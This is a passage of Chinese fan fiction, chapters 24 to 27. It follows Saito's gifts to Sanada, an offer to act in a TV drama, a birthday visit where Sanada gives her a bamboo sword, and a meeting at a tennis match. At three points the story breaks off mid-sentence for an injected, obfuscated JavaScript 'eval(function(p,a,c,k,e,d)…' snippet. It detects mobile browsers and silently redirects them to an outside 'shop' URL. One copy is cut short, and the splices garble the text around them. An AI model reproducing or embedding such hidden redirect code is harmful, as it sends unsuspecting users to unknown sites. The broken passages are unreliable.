“你今年应该还没有去神社抽签吧。” 不远处,冬日中叶片几乎完全脱落的树枝的剪影遮住的鸟居,缝隙间透过的橙红天幕给人一种神秘孤寂幻觉。 “既然进行了能量景点巡回,又有真田君购买的御守,即便没有抽签,我也觉得今年的运势一定会很好。” 斋藤说得信誓旦旦,真田只是轻嗤了一声,似乎是在嘲笑斋藤这样天真确信的言论。 “那我证明给你看。”斋藤突然改变方向,向路边走去。 “你想做什么?”真田跟在斋藤的身后问。 斋藤来到街边的扭蛋机签,之前她路过这里的时候看到有可以抽签的扭蛋机。 她对着扭蛋机双手合十,做出祈祷的动作,然后投入足够的金额,转动旋钮,“嘎达”一声后,她从旋钮旁边的带着挡板的小洞中拿出一个一板透明,一半色彩的塑料球。打开扭蛋后她长舒一口气。 “我说的吧。"斋藤将签展示给真田,露出了心满意足的笑容。 是吉。 晚霞的余晖照在纸张上,柔光似乎是神祇的庇佑,赐福于不可知的未来。 真田在一旁无声苦笑,像是在说:真拿你没办法。 开学后的一天,斋藤忐忑地找到迹部。 她昨天透过之前和迹部交换的联系方式,壮着胆子向迹部拜托一件事。 请迹部给她推荐网球拍。 迹部只是回她,明天来一趟学生会办公室。 斋藤来到办公室后,迹部将厚厚的网球相关商品目录送给了斋藤,甚至在推荐的商品上做了标注。推荐的商品不仅是球拍,还有一些其他的与网球相关的商品。 “斋藤小姐是想要打网球吗?”迹部问。 当斋藤说“我并没有打网球的想法”,迹部就没再和斋藤说什么。 “谢谢迹部先生,给您添麻烦了。” 斋藤告辞离开办公室。 放学后,斋藤来到学校附近的体育用品店,她找到迹部推荐的网球拍,拿起来用手掂着。店员上前跟她介绍这是适合职业选手用的球拍,价格也相当符合它的硬核。 “我就要这个。” 店员的表情是不加掩饰的吃惊和怀疑,不过他只能听从顾客的要求,斋藤说她想要把球拍寄出去,店员用电脑计算出总金额,斋藤将银行卡递给店员。 结完账后,店员的脸上只剩下恭敬了,他给球拍穿线后,仔细地打包着。 “还有,请帮我把这个也装进去。”斋藤将从包里的东西拿出的东西递给店员。 几天后,斋藤接到了真田的电话。 “斋藤君,你为什么要送网球拍给我?”电话那一头的真田语气听上去很是无奈。 “我是为了给义理巧克力给你,网球拍是顺便的。” 斋藤打算寄给真田盒装的巧克宝贝,但又感觉单纯寄出小零食不如给钱让真田自己买,为了提升巧克宝贝能够特意让自己寄出去的价值,斋藤特地买了一个网球拍,把巧克宝贝放在里面一起寄给真田。 “怎么看巧克宝贝才是顺便——” “哈?”斋藤语气上扬,很容易就能感觉到她的不悦。 像是意识到什么,真田立刻改口 “……谢谢你送的巧克力。” “不客气,反正真田君经常打网球,球拍也要经常 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“明明你才说张口就能回答的。” “……等我把现在的网球拍打坏了之后再跟你说。” 斋藤不可置信地盯着手机看。 如果是别人说这种话,完全可以当作是一句俏皮话。 但这是真田说的。 所以,他,是认真的吗? “喂。”真田的声音穿过话筒,震荡着空气,让斋藤从思绪中抽离,回到现实。 “没事的话我就挂电话了。” 斋藤一边说着“好”,一边对着无人的空间点了点头。 结束通话后,斋藤评估着,收到球拍的真田应该算是开心吧…… 斋藤觉得现在的真田需要他人的关心。 不过对她而言,相较于单纯的口头慰问与鼓励,实质性的物质付出往往更具说服力,也更能体现真诚与重视。 但没有由头就单纯地将东西塞给对方,可能只会徒增他的压力。 那么,接下来的“生日礼物”送什么比较好? 在生日之前问清楚他用的什么球拍? 可连续送同一件物品是不是显得很敷衍。 还是去中古集市淘一件古玩? 但斋藤对此一窍不通,她担心会买到的是假货或者次品。 斋藤为此苦恼。 不过离五月还有一段时间,还有足够的时间让她考虑。 就这样到了五月初,斋藤还是对送什么礼物没有任何头绪。 “哇,太可爱了吧!” 课间,班级里的女生们围在一起看手机,发出一阵惊叹。 “这个兔犬玩偶是从哪里买的?” 这个词让斋藤竖起耳朵,因为她记得真田也喜欢那个叫兔犬的形象。 “这是LAST赏。” 斋藤知道这个词。 因为斋藤的父亲曾经为了这个,带着斋藤在城市里搜索过还有能包下剩余奖券的商店。 24. 邀约 斋藤提着塞满物品的购物袋走出便利店,想着现在就去邮局把这堆将身体纵向空间拉伸了一倍东西全部寄给真田。 手机却不合时宜地响起。 稍微冷静几秒后,她将购物袋先放在路边的长椅上接电话。 刚接起电话她就听到父亲在电话另一头鬼哭狼嚎,说完蛋了,拿错了平板电脑了。 她让父亲冷静下来好好说话,父亲立刻用冷静的声调和简洁的语言让斋藤从自己的工作桌上的平板电脑拿到东影电视台。 她立刻回家,将购物袋放了下,带着平板电脑来到电视台。 到了电视台,斋藤坐在休息区,等着父亲下楼取平板电脑。只是,在此期间,她感觉一道视线一直在自己身上。她抱紧包,慢慢地将身体蜷起,用沙发背遮掩自己的存在,阻隔对方的视线,她保持着这样不自然的姿势等着父亲的到来。 当父亲找到斋藤时,斋藤立刻将平板从包里取出,想要立刻离开电视台。 “斋藤老师。”一个与斋藤父亲年龄相仿的中年男性走上前和斋藤的父亲打招呼。 斋藤立刻站到自己父亲的身后躲着中年男性。 如果她的感觉没错,刚才一直盯着自己的视线似乎就是来自这个中年男性。 中年男性外貌很普通,硬要说有特点他戴着一个艺术家会带的帽子和以及一双目光锐利的眼睛。 斋藤的父亲一反平日吊儿郎当的模样,正经有礼地叫着对方的名字。 “你认识这位小姑娘?” “这位是我的女儿,斋藤志罗。” “——原来如此!” 男性惊讶地说着,然后盯着斋藤,喃喃自语“怪不得那么像”。 “也就是这个孩子和‘矢岛京子’的设定一样咯?” “不不,我当然会为了故事会更改一些角色设定。”斋藤的父亲说。 “她不会剑道?” “我倒是没有改动这点。” 中年男子略微俯身,接近斋藤问:“小姑娘,你知道你父亲做了什么吗?” 斋藤摇了摇头。 “你还真是卑鄙啊,斋藤老师。”中年男性起身对着斋藤的父亲挑着眉毛勾起嘴角,话里有话。 “找到了!” 一个年轻人从安全栅跑到斋藤的父亲和中年男性的面前,胸前摇晃的员工牌说明他是电视台的员工。 “监督!一老师!会议马上要开始了!”工作人员气喘吁吁地说。 “一”是父亲的笔名,那么监督就是指中年男子吧。斋藤想。 “再回,小姑娘。” 监督举止高傲地向斋藤道别,而斋藤的父亲一则在其他人没注意的情况下,对斋藤眨单眼,竖起大拇指。 这让斋藤有一种不祥的预感。 第二天早上,一家人难得聚在一起享用早餐。父亲在餐桌上和斋藤介绍起自己的工作——特摄剧的角色形象设计,而他居然在设计稿中夹带私货,以斋藤为原型设计了一个角色。 “监督觉得你很适合那个角色呢。” “我拒绝。”斋藤的语气冷淡且直接。 如果可以她想以晨练为借口,带着早饭离开餐桌,不再听父亲的说明。可是今天的早餐是和式的,刚揭锅的热腾腾的白饭和热乎乎的味噌汤,这些根本没办法带走。 “怎能这样!监督觉得只有你才能完美呈现”父亲摆出受伤的表情,说话的语气像是自己遭到了巨大的打击,情绪因为极度的低落,声音变得特别大。 “他可是对志罗你念念不忘。” 一直看着手机的斋藤的母亲插了一句“听上去真恶心”。 “对女国中生念念不忘,是变态吧?”母亲用和斋藤一样的冷淡口气说着。 父亲转而看向母亲,不知是不是错觉,斋藤觉得父亲的表情透着一股奸计得逞的感觉 “亲爱的,那个监督就是‘超级麻烦的新年初梦男’。” 父亲的神情变得得意起来。 “他可是很努力地恳·求·作为父·亲·的我,务必让志罗去演那个角色!” “——他怎么能这样。”母亲放下手机,神情严肃地看着父亲。 “志罗能不能演电视剧,也要经过我的同意吧,好歹我也是监护人,他也必须和我好好说明现在的情况和电视剧的内容吧。” “这是当然的!我已经安排好时间了!” “真是辛苦你了。母亲的语气瞬间软了下来,眼神也变得柔和。 “关于亲爱的行程安排我可是一清二楚,我可是很珍惜亲爱的能和我在一起的日子~” 在夫妻俩浓情蜜意,气氛改变之前,斋藤就已经踏上上学的路。 今早,父亲并不是为了说服斋藤,而是为了让不感兴趣的母亲站在他那边。 斋藤先生,你还真是狡猾。 导演的这句话用来评价斋藤的父亲再适合不过了。 接下来的几天,相安无事,直到一天晚上,斋藤的母亲特意叫斋藤来到客厅,母女俩在餐桌前面对面地坐着,父亲则在一旁为两人倒上水,然后坐在母亲旁边。 悬在餐桌上的一盏灯是整个餐厅唯一的光源,斋藤恍惚间觉得自己是在刑警剧里的审讯室,母亲双手交叉放在桌上,在顶光的照射下,显得更加威严。 母亲一脸正经地说:“剧本我看过了,没有什么问题。” “监督是个麻烦的人,但是我觉得他也是个有责任心的人。” “决定去不去演是你的事情,我是不会阻止的。” 母亲似乎是完全把选择权交给斋藤。 但她用这样态度,愿意花时间和斋藤说明,并且说着监督的好话,恐怕她也有些期待斋藤去演这个角色。 “我会认真考虑的。” 斋藤将手握成拳头抵着膝盖,低声回复。 听到斋藤这么说,父亲将一本装订好的打印纸递给斋藤。 “这是我整理的资料,要认真看哦。” 斋藤收下,然后回到自己的房间里,将剧本扔在桌上。 斋藤看着准备寄给真田兔犬玩偶。 她鬼使神差地拿起玩偶,隔着塑料袋搂在怀里,将脸贴在上面。耳朵里是透明塑料纸相互摩擦的声音,但她不在乎,完全沉浸在玩偶的柔软手感里。 当初兔犬形象公开时,就被打上治愈物的标签。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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过了几天,斋藤在房间里读剧本时候收到真田的短信,她拿起手机回复【你喜欢就好】。 就当她准备继续背台词的时候,真田又发给她一条信息。 【我现在是学校的风纪委员长。】 【不错嘛!】 因为是短信交流,她没有办法判断这件事对真田的重要程度,只能用情绪比较平和的说法祝贺。 随后她又想到真田作为副部长,所要承担的事务,担心地问。 【不过不要紧吗,网球部那边?】 【大家都很积极主动地训练,莲二也会帮着我分担一部分社团事务。】 谢谢你,柳。 斋藤在心理里默默地感谢着。 【为了三连霸和校园风纪,我是不会松懈的。】 突然真田斋藤发给了一句在竞选演讲上才会出现的话。 你已经很努力了。 斋藤刚想这么说,忽然又想到了因为太过担心真田,她一时间忘记老规矩。 她立刻把“干得漂亮”的贴图发了过去。 自从她当上副部长,真田发了这个贴图后,已经有相当长一段时间没有见过了。 真田对斋藤的夸奖没做任何回应,取而代之的是—— 【过几天能和你见一面吗?】 斋藤看着桌上的剧本,犯了难。 拍电视剧前有很多事前工作,她必须要在常日和学校请假去电视台,周末和闲暇要用来补课,这样课业才不会落下。 25. 庆祝生日 【可我暂时回不去。】 【那我去东京,你有空吗?】 这是斋藤未曾想过的可能。 【找我有什么事?】 【我要送你生日礼物。】 一向直来直往的真田直接跟斋藤说明了见面的目的。 【你的好意我心领了,但是不是太麻烦你了?】 【要不然我暑假回去时,你再给我?】 斋藤补充道。 【没关系,你生日正好在周末,我有空。】 到了约定好见面的那天,斋藤站在公寓的门前。 公寓矗立在繁华街道旁。公寓大门墨黑色金属门框与深灰色石材外墙接缝得天衣无缝,表面泛着低调的哑光光泽。门上嵌着一块细长的磨砂玻璃,从外看去只能隐约透出楼道的暖黄灯光。 斋藤站在公寓大门外,沿着地砖的缝隙来回踱步,直到她看到了真田的身影,向他挥手。 同时她看见真田身后背着剑道袋,知道了真田送的礼物是什么。 “抱歉,让你久等了。” “没有,倒是麻烦你专程来东京送我生日礼物。” “生日快乐,斋藤君。”真田语气郑重地向斋藤道贺。与其说是在庆祝一年一度的生日,不如说是在为她人生中的一件大事送上祝福。 “对了,幸村他你也祝你生日快乐。” “你跟他说我的生日做什么?” “不是我,他是通过你的名字了解的。” 斋藤的名字志罗的确是取自生日花蔓穗。 “幸村他现在还好吗?”斋藤询问幸村的近况。 “啊。”真田干脆地但是语义含糊地应了一声。 大概是没有什么太大的变化。 “……这样啊。” “这是礼物。”真田从肩上取下剑道袋,递给斋藤。 斋藤道谢,平静地接过剑道袋。 “要试试看吗?” “现在吗?” 听到真田提议,不知所措地看着身处公寓门前的周围。 在公寓大门前挥剑着实是一件令人侧目的举动,不过在真田期待的眼神之下,她走到不会阻碍他人进出的位置,取出竹剑摆好架势挥动。 这把竹剑的重量和重心费非常贴合她的手感,充实的愉悦感甚至让斋藤多挥了两下。 “顺手吗?” “非常顺手!简直是为我量身定做的!” “这是祖父大人做的。” “真田老师亲手做的竹剑……” 斋藤专注地盯着手中的竹剑,轻柔地摩挲着,像是在抚摸一件稀世珍宝。 “可是为什么真田老师要做竹剑给我?” 斋藤完全想不出这个问题的答案。 真田将手放在后颈,为难地开口。 “一开始是我做的,但我想做出合适实战的竹剑,所以让祖父大人帮忙调整。” “你怎么还有时间做竹剑?!”斋藤抱紧竹剑,惊讶地说。 “从收到网球拍那天我就开始做准备了,所以我有足够长的时间去做。” “那,这不就是真田君做的竹剑!” “调整的地方太多,已经不能算是我做的了。” “但是你一开始没有打算做竹剑,那么这么顺手的竹剑也不会到我的手里。” “谢谢你为我做竹剑!” 真田用拳头掩着嘴巴,用着比平时要细微的声音说“不客气”。 “礼物已经送到你手里了,那我就告辞了。” “那个——” 斋藤忽然想要挽留真田,对方送了这么价值的礼物就放人回去,根本就不能表达出自己内心的感激。但让真田早点回去更合适妥当。 “呀,弦一郎,好久不见。” 正提着蛋糕的斋藤的父亲突然出现在斋藤的身后。 “长得比我都要高了。”父亲用手比划着自己和真田的身高。 “爸爸,真田君特地来东京送我生日礼物,这把竹剑就是真田君送的!” “真是辛苦你了!对了,要不要来一起吃蛋糕。” 父亲举起手中的蛋糕盒示意。 “谢谢您的好意,但——” “志罗也希望弦一郎一起来吧。” 斋藤的父亲对斋藤使了一个颜色。 “我觉得还是要看真田君的想法。” 斋藤还是将选择权交给了真田。 “真田君,你愿意来吗?” “那么我就打扰了。” 斋藤父亲哼着小曲解锁门禁打开门,穿过空旷但装饰豪华的大厅,来到电梯前。真田主动站在电梯门边让斋藤父女先进入电梯。 父亲和真田并排站在斋藤前方,斋藤抬起头。就和父亲说的一样,真田现在的确要比父亲高了。 当父亲打开家门,真田明显犹豫了。 毕竟这可是斋藤的母亲设计的,可以上杂志的高级公寓,一直住在纯和式一户建的他应该难以适应。 这大概也是真田不如斋藤喜欢去真田家串门的原因。 斋藤带领真田到沙发前让他坐下,然后来到几步之遥,与客厅相连的开放式厨房, “爸爸,你要是现在切蛋糕,晚上你要怎么跟妈妈解释?”斋藤问父亲。 “你妈妈说好今天请假不上班的,结果又扔下我们父女俩去忙工作了,就当是给她的惩罚!” 父亲表现得义愤填膺,但是打开蛋糕盒的动作相当小心。 “唉,那等妈妈回来我就这么跟她说。” “——我是开玩笑的!”父亲尴尬地笑着,急忙给自己找补。 “那晚上怎么办?总不能让妈妈吃剩下得蛋糕吧。” “我等会去随便买个蛋糕,然后就是我一不小心把预定的蛋糕摔坏了,只能那这个代替了。反正你妈也不怎么打开冰箱。” 这种拙劣的借口真的能骗到母亲吗?斋藤担忧地想。 父亲端着插好蜡烛的蛋糕放在餐桌上,并招呼着真田过来,点上蜡烛,拉上遮光性强的窗帘。 “志罗,许愿吧。”借助微弱的烛光,父亲来到餐桌前,跟斋藤说。 斋藤看向真田,却迎上真田恰好的视线。 真田眉间的皱纹堆在一起,在摇曳的烛火下,形成了深刻的印记。 连这种情况都没办法彻底放松,看上去真田的压力很大。 请让幸村早点康复。斋藤许下这个愿望。 正当斋藤准备吹蜡烛时,屋子里的突然亮了起来。 “你们在干什么?” 斋藤的母亲以极其冷淡地声音问。 “亲爱的!你回来的正好!弦一郎特地给志罗送礼物,所以我就请他吃蛋糕……”父亲吞吞吐吐地解释。 “这样啊,还真的是很巧呢。” 母亲瞪着父亲。 斋藤的母亲直接关灯,随手将包放在沙发上,然后径直坐在斋藤的身边,双手抱胸。 “继续吧。” 母亲以掌权者的姿态让庆祝生日的仪式继续下去。 斋藤吹灭蜡烛后,父亲拉开窗帘,黑暗的室内重现光明。 母亲没有吃蛋糕,而是以休息为理由先回到了房间。 同时,父亲的额头上已经满是汗珠了,就连真田似乎也发现了斋藤父亲的不对劲。 “您没事吧,斋藤先生?” “哦,我只是感觉有点热,我、我去喝点冰水。” 说是去喝冰水,但父亲去的是母亲的房间。 于是切蛋糕的责任落在了斋藤身上。 虽然斋藤说过自己不会切菜,但是切出蛋糕还算规整。 斋藤切下一角不算大的蛋糕递给真田,真田与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487298|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她道谢并说“我开动了”。 斋藤没有看过真田吃蛋糕,便观察起来。 真田像是完成任务般,机械僵硬重复挖蛋糕放入口中的过程。 说吃甜食可以放松,但是这在真田身上完全看不到这个效果。 “怎么了?”真田问迟迟没有吃蛋糕的斋藤。 “我没想到有人吃蛋糕居然会那么严肃。”斋藤实话实说。 “我一直都是这样的。”真田的眉头皱地更深了。 不想自找无趣地斋藤将注意力放到自己盘子里的蛋糕,手中的捏着叉子的动作轻巧,却近乎拘谨。为了不破坏蛋糕的结构导致崩塌,她沿着蛋糕边缘一点点切下,将一小块轻轻送入口中。 “你吃得也太讲究了吧。”真田回击斋藤。 “我本来就这样。”斋藤用相近的话语回复真田。 真田吃完蛋糕,放下甜点叉,捧起茶杯喝水。斋藤等了相当长的一段时间,真田没有进行下一步行动。 “真田君,你还有别的事情?”斋藤谨慎地问。 “没有。” “那你为什么还坐着?” “吃完就走也太失礼了。” “不会,我完全不在意。” 真田愿意花时间上楼并为斋藤庆祝生日,斋藤已经很满足了,她觉得真田不该浪费时间在合乎礼仪上。 “是吗?不过时间还很充裕,我没那么着急回去。” 听到真田这么说,斋藤放下叉子,推开盘子。 “——我吃不下了” “剩这么多?”真田看着盘子里剩下的蛋糕。 “我不能吃太多甜食。” “怕变胖?”真田不解风情地问。 斋藤拉下嘴角鼓起嘴巴,来表达自己的不满。真田像是没有看见一样,向斋藤父母的房间看过去。 “在找什么?” “我离开前当然也要和伯父伯母说一声。” “我代你去说。” 斋藤来到房间前,她从门口就能感觉到房间内的气氛不对劲。 她没有敲门,而是在门前大声说:“爸爸妈妈,真田君要离开了,他和你们说再见。” 房间里传出没有任何回应。 ——真是太糟糕。 因为剑道而培养出的敏锐的第六感告诉斋藤,她应该离开家一会。 “真田君,我送你去车站。”斋藤和正坐在玄关前穿鞋的真田说。 “不用这么麻烦。” “车站离这里很近,当是散步了。” 斋藤一边说着,一边穿着鞋子。 “真田君,谢谢你留下来陪我过生日。”电梯里,斋藤感谢真田。 “没什么。”真田平淡地回应。 这将是一路上他们俩唯一地对话。 斋藤总觉得她应该还有话要和真田说。她机械地跟在真田的身后,一路上苦思冥想,直到车站。 “你先回去吧。”在检票栅前,真田说。 一直在思考的斋藤下意识地遵从了真田的话,准备离开,突然她想到自己想说的话,再次转过身,凑到真田的面前。车站顶上的清冷白光下,真田的小麦色肌肤渗出一层暖色。 “我会用那你做的竹剑,拿下全中的冠军!” “所以你也要加油!” 斋藤向真田宣誓,并鼓励着真田。 “——当然。” 真田表情变得和平日里一样笃定自信,眉间的印记也消失了。 斋藤开心地回到家,发现母亲坐在餐桌前吃蛋糕,而父亲面朝墙跪在房间的角落,背后贴着一张纸,上面写着“面壁思过中,请勿打扰”。 这一幕让她确定刚才出门是明智之举。 “志罗,剩下的蛋糕你还要吃吗?”母亲问正在同情地看着父亲的斋藤。 “要!” 26. 偶遇 休息日,斋藤与远藤在之前就约好了在市民体育馆进行切磋,顺带把挂饰给远藤。 最近,斋藤与远藤联系得愈发频繁,不仅交流剑道技艺,还会探讨社团管理的心得与疑问。 远藤在国中时期同样担任过剑道部副部长,对许多事务颇有经验,因此有些问题,斋藤更愿意向远藤请教。 这样一来,她也就不必频频去打扰真田了。 “你今天用的是新竹剑?”跪坐在斋藤身边休息的远藤问。 “是。” “可以给我看一下吗?” 斋藤将竹剑递给远藤,远藤转动手腕,仔细端详竹剑,并且挥了挥。 “看手感,像是定制的……” “是。”斋藤的笑容中洋溢着幸福。 “……难道是男朋友送的?” 斋藤内心一惊,正坐的身体往后倒去。 她没想到远藤会这么问。 “我没有男朋友。”斋藤重新端坐,努力地压低声音说。 “这样啊。” 看到斋藤狼狈的样子,远藤的表情也没有任何改变,将竹剑交还回去。 “为什么远藤前辈你会这么想?”斋藤问。 “感觉最近你变温和,像你这样的年纪,大概率是因为谈了恋爱。” 明明我和前辈你的年龄才相差两岁! 斋藤在心里吐槽。 “大概是因为我有好好的反省学习剑道的初心,想通了很多事情,所以让你感觉我变了?”斋藤向远藤说。 事实的确是如此,但如果不是发生了这么多事,斋藤也不会反省地这么深刻。 “唉,那我也试试……” “对了,小宫最近有和你联系吗?”远藤突然问斋藤,“最近都没有和她联系上。” 斋藤也一样,她已经很久没和小宫联系过了。 电话一直都没人接,发送短信也只能看见已读。 “你已经不是我的后辈了,所以没有必要叫我前辈了。” 之前小宫是这么跟她说的。 斋藤想过,这样的小宫是不是已经放弃把自己当作“对手”了。但刚刚远藤的说明让她这个念头打消了。 “我最近也没和小宫前辈联系过。” “真是的。”远藤咋舌抱怨起小宫的失联。 “为什么远藤前辈要主动联系小宫前辈?” 在斋藤的记忆中,远藤和小宫的关系可以说是水火不容。 “其实她从去年开始就没有参加高校比赛了。而这是她能够参加高校比赛了最后一年了。” “我想问她,她今年参不参加比赛?” 【小宫前辈,最近还好嘛?】 斋藤看着自己发给小宫的信息,但信息旁一直显示的是未读。 小宫前辈在远藤面前显摆着自己强者的身份,以及面对自己放弃参赛资格时的凶恶的态度,说明她应该总会抓住一切击溃对手,自己证明的机会。 所以到底发生了什么事? “怎么一脸沉重?”穿着和果子店店员服的山田端着托盘,将茶壶杯子和装着点心的托盘放在矮桌上。 下午,斋藤来到山田家的和果子店给她兔犬的周边,而山田带到她到店后面的家里,拿点心和茶招待她,借此机会捞到多余的休息时间。 “我一直联系不上小宫前辈……” “呜啊,你现在还和那个可怕的女人有联系。” “小遥,小宫前辈也算是你的前辈,不可以这么说。” “我这是实话实说,不过好像小宫前辈很久也没来到学校了,剑道部也——” 山田立刻捂上了嘴巴,她知道斋藤在风岚剑道部的遭遇,所以觉得在斋藤面前不能说剑道部的好话。 但在校间试合和全中赛场上,斋藤作为旁观者,轻易地就能感觉风岚剑道部氛围非常和谐友好。 也许那个时候她能感觉到风岚剑道部并没有自己想得那么不堪,所以复仇的火焰才会那么旺盛。 不过,这些都已经彻底翻篇。 “没关系,已经无所谓了。” “志罗,你是认识迹部大人吧?” 刚刚还在陷入沉思的斋藤抬起头,眯起眼睛,疑惑地看着山田。 “我听剑道部的学姐说,他们亲眼看到迹部。” “是这样,那次试合迹部先生的确有亲自到场观战。” “唉!早知道我也去看了!” “你根本没办法去吧,即使你到了冰帝,说不定会网球部的当作间谍给抓走……” 斋藤又想起了第一次去冰帝不好的回忆。 “间谍?” “没事。” “喂,志罗,你可以带我去看你们学校的网球比赛吗?请让我亲眼看一下传说中的迹部大人!” 山田双手合十求着斋藤。 斋藤想着山田运气真的很好,要是她早半年提出这个要求,自己大概会当场和她绝交。 斋藤坐在网球场边的看台上,不耐烦地看着比赛,手掌托着下巴,手指不断的敲动着。 网球比赛的赛场也太大了,比赛时间也很长。 剑道比赛最快的话,电光石火间就能拿下一本,二本定胜负。 还有那个计分又是怎么回事,她完全不明白。明明是15分为单位累计的,最后怎么变成了40? 最重要的是,没有遮挡的露天球场,阳光直射在身上让人不舒服。 山田就像先前说好的那样,一直盯着迹部,完全没有在意比赛。 斋藤准备去买水,顺便活动一下筋骨。 “山田,你要喝水吗?” 山田没有回答斋藤的话,但是斋藤看到她流出的口水,觉得她需要补充水分。 从自动贩卖机买了两瓶水的斋藤,注意到了看台有三个穿着熟悉黄色的衣服的人看向网球场。 那是立海大网球部的运动服,绝对没错。 那戴着帽子的绝对是真田。 斋藤用水瓶掩住差点惊呼出声的嘴巴。 她没有想到真田也出现在了现场。 像是感受有人在看自己,真田转过身视线从斋藤身上划过,然后迅速地集中在斋藤身上,用难以置信的表情从头到脚打量着斋藤。 大概是因为这是真田第一次见斋藤穿制服的模样。 斋藤先是想挥动手臂,但觉得挥手显得过分亲昵轻浮,而且手上的水也不是为了给真田的,她决定对着真田浅浅鞠躬示意。 而真田没有做出任何回应,只是将视线转回到球场上。 看来对真田来说,还是网球比较重要。 真田只是没想到她也会出现球场上看比赛吧。 斋藤悻悻地回到座位上,将水给了山田,拧开自己瓶子的瓶盖后喝水后叹气。 “怎么了?”山田将瓶口抵着嘴问。 “你醒了?”看着从催眠一般沉迷状态中脱出的山田,斋藤反问。 “我又没睡着。” 山田大口灌着水,看来刚才的确消耗了不少水分。 “你不是一直沉醉在迹部先生的……嗯……” 斋藤想不起来完整的这句话是怎么说的。 “唉,原来志罗你也会开玩笑啊?” “不是我开玩笑,迹部先生经常会说这种话。” “‘沉醉在本大爷华丽的美技下’?” “对,就是这句,你怎么知道的。” “迹部大人的粉丝专页上面搜到的。”山田将挂着斋藤送的兔犬挂件的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487299|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机展示给斋藤看。 斋藤看到粉丝专页上最新照片就是刚才迹部在赛场上的英姿。 “难道打网球的人都有吗?” “不是啦,迹部大人是特别的。”山田继续划着手机,她那自然的语气显得她比斋藤还要了解迹部。 听到山田的话,斋藤放下了手机。 比赛结束,青学赢得了比赛。 斋藤拽着腿已经坐麻了的山田起身,手机响起了来电铃声。 电话是真田打来的。 “你现在在哪?”真田问。 斋藤报出自己座位的编号。 “不过我正准备和朋友一起回去。” “有时间见一面吗?” “现在?但是你不是和柳还有另一个人一起来的吗?” “我让他们先回去了。” 斋藤十分为难。她之前和山田说好比赛之后由山田请客去吃东西,但真田为了见她没有和朋友们一起回去…… “那好吧。” 斋藤无奈地应承了,挂了电话后和山田主动道歉。 “抱歉,你一个人回去吧,我还有点事要处理。” 和她想象中不同的是,山田拼命点头,开心地和斋藤道别,头也不回地跑了。 斋藤来到大门前的自动贩卖机前,看见真田抱臂站在旁边。 她还没走进能感觉到真田正在不高兴。于是她收起笑容,拉长嘴角,收拾好情绪,迎接真田的话语。 “真田君。” “你不去备赛,怎么有闲工夫来看网球比赛。” 没有任何开场白,真田用教训的口吻,直接表明自己要说的。 “我是来陪朋友来的。”斋藤解释。 “她来看比赛?” “大概是吧……” “你呢?” “我刚才说过了,陪朋友过来的。” “你不该为了这种无聊的事情浪费时间。“真田厉声呵斥。 对话似乎回到了开头。 斋藤紧抿嘴唇鼓腮,转着眼珠。她不能这样顺着继续说下去了,否则对话根本就继续不下去。 “那关东地区的决赛,我去为你加油?看你的比赛,这样应该不算是做无聊的事情浪费时间吧?“她主动开口。 “那也还有几场比赛才能确定决赛的队伍。” “难道你没自信进入决赛?” “——立海大三连霸毫无死角。”真田仰头,骄傲地喊着口号。 “嗯,那就这么定了,比赛加油!“ 而得到斋藤鼓励的真田什么也没说,只是拉了拉帽檐。 斋藤寻思着他们之间应该没什么需要聊的了,于是问:“真田君,要一起去车站吗?” “走吧。” 身着冰帝学园制服的斋藤跟在穿着立海大网球部运动服的真田的身后,向车站走去。 “斋藤,昨天你为什么会和立海大网球部的人走在一起?” 第二天,同班的网球部的部员一只手大力地拍着桌子,像是审问犯人一样问斋藤。 那天是冰帝的比赛,来观战的冰帝学生也不在少数,她穿着冰帝的制服和立海大的引人注目的黄色运动服走在一起被注意到也不奇怪。 “我被人找茬,然后那个男生帮我解围,然后送我到车站。” 斋藤撒谎,她不想向别人解释自己与真田是青梅竹马这层关系,尤其是和网球部的人。 她还是知道不要自找麻烦。 “找茬?” 斋藤被追问后变得慌乱起来,她垂下眼睛,双手紧握,不过看上去更像是提到了糟糕的回忆而陷入了不安。 同班的学生放过了斋藤。 而斋藤想,下次观战还是不要穿制服了。 27. 商量 晚上,斋藤在房间里剪着报纸上关于真田的消息。 认识到做剪报本真相的斋藤还是选择了坚持,因为半途而废不是她的作风。 她一边贴着,一边看着报道上的内容。 立海大的决赛是的对手是青学……就是击败冰帝的学校。 如果可以,她更想看迹部和真田的比赛。 因为她曾经向真田夸下海口说迹部是个实力强劲的对手,她希望真田能够认可自己的直觉和判断。 手机的信息提示音打断了她的想法。 最近因为工作,需要用手机处理的事务明显增多,甚至有时候手机会源源不断地发出声音,但她也不能轻易屏蔽消息或者让手机静音。 斋藤鼓起嘴巴,愠怒打开手机锁,看见消息是真田发来的,露出惊讶的表情。 这个点,真田应该已经休息了。 【我有些事情想和你谈,可以跟你打电话吗?】 斋藤回复了【当然可以】,然后等着真田的来电。 “怎么了?”手机铃声还未响起,斋藤就接通电话关切地问真田。 “莲二想让我在关东地区决赛上保留一些实力。” 斋藤觉得一阵晕眩感侵袭她的大脑,让她没办法思考。 “保留实力……是不用尽全力去比赛的意思吗?” 真田没有回答。 电话那边的人很陌生,不是斋藤认识的那个意气风发,会不顾一切奋力拼搏的人 